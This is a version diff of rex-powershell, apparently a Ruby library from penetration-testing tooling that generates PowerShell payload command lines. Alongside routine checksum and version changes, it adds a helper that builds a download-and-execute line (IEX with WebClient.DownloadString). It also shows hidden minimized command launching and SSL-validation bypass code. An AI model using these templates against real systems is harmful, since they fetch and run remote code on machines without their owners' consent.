rex-powershell 0.1.0 → 0.1.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 6e804aa77f3457dbd23306effacfe287a50a3c18
-  data.tar.gz: a270712dba4ac88432abc0755a14ba92b757820b
+  metadata.gz: 152b98e69abd262c6e3c3f9a1e5f3f54c5951ee7
+  data.tar.gz: 250ae1eebcbf277c2b31c9b8d2479ef66c50a9ca
 SHA512:
-  metadata.gz: 874849a04f6e9d63adf92c90c2386aafab036ca6589eefe4a86da82bf8b6fd03c79932bf4e89c65f6b52dd2e2162dfcc3db1fb61b84c02843357a6b0bc6c8483
-  data.tar.gz: e4643295020c14d26f18d12eb8a3b1ecf436eb41e2f662c5f703875782a4984ae3b3afa9dffa978ea8173226e61d611a85cacc27cdde31af4bc51a5760aa9eb8
+  metadata.gz: c7007b550fbf79e2f75060a0cab182b2e5f146c795710ce1785ece6371a3c920b496e5ea09e98fc4ab5e52ec5b6d1417bb7347ff47ee1361bc918a686fb62e71
+  data.tar.gz: 95cd36fe4558132a199060562588cc528a1c467939872582b2d0831550b05c8c2cdc6119de3173cb83552264e44e4a13036e17a45bba345d11752050774b52c1

data.tar.gz.sig

@@ -1 +1 @@
-.ݞ��=��
+EW�x�_�.dz

data/lib/rex/powershell/command.rb

@@ -25,6 +25,16 @@ module Command
     psh.encode_code(eof)
   end
 
+  #
+  # Return the ASCII contents of the base64 encoded script
+  #
+  # @param script_in [String] Encoded script
+  #
+  # @return [String] Decoded script
+  def self.decode_script(script_in)
+    Rex::Powershell::Script.new(script_in).decode_code
+  end
+
   #
   # Return a gzip compressed powershell script
   # Will invoke PSH modifiers as enabled
@@ -48,6 +58,16 @@ module Command
     psh.compress_code(eof)
   end
 
+  #
+  # Return the ASCII contents of the GZIP/Deflate compressed script
+  #
+  # @param script_in [String] Compressed script
+  #
+  # @return [String] Decompressed script
+  def self.decompress_script(script_in)
+    Rex::Powershell::Script.new(script_in).decompress_code
+  end
+
   #
   # Generate a powershell command line, options are passed on to
   # generate_psh_args
@@ -248,6 +268,9 @@ EOS
   #   environment variable at the start of the command line
   # @option opts [Boolean] :use_single_quotes Wraps the -Command
   #   argument in single quotes unless :encode_final_payload
+  # @option opts [TrueClass,FalseClass] :exec_in_place Removes the
+  #   executable wrappers from the powershell code returning raw PSH
+  #   for executing with an existing PSH context
   #
   # @return [String] Powershell command line with payload
   def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
@@ -340,9 +363,13 @@ EOS
       command_args[:command] = final_payload
     end
 
-    psh_command = generate_psh_command_line(command_args)
+    if opts[:exec_in_place]
+      psh_command = "#{command_args[:command]}"
+    else
+      psh_command =  generate_psh_command_line(command_args)
+    end
 
-    if opts[:remove_comspec]
+    if opts[:remove_comspec] or opts[:exec_in_place]
       command = psh_command
     else
       command = "%COMSPEC% /b /c start /b /min #{psh_command}"

data/lib/rex/powershell/psh_methods.rb

@@ -70,7 +70,17 @@ module Powershell
     # @return [String] Powershell code to disable SSL verification
     #   checks.
     def self.ignore_ssl_certificate
-      '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
+      '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}'
+    end
+
+    #
+    # Download and execute string via HTTP
+    #
+    # @param url [String] string to download
+    #
+    # @return [String] PowerShell code to download and exec the url
+    def self.download_and_exec_string(url)
+      %Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
     end
 
     #

data/lib/rex/powershell/script.rb

@@ -1,5 +1,6 @@
 # -*- coding: binary -*-
 
+
 require 'forwardable'
 
 module Rex

data/lib/rex/powershell/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.0"
+    VERSION = "0.1.1"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-powershell
 version: !ruby/object:Gem::Version
-  version: 0.1.0
+  version: 0.1.1
 platform: ruby
 authors:
 - David 'thelightcosine' Maloney
@@ -85,7 +85,7 @@ cert_chain:
   2SpuQH+SWteq3NXkAmFEEqvLJQ4sbptZt8OP8ghL3pVAvZNFmww/YVszSkShSzcg
   QdihYCSEL2drS2cFd50jBeq71sxUtxbv82DUa2b+
   -----END CERTIFICATE-----
-date: 2016-06-21 00:00:00.000000000 Z
+date: 2016-07-15 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler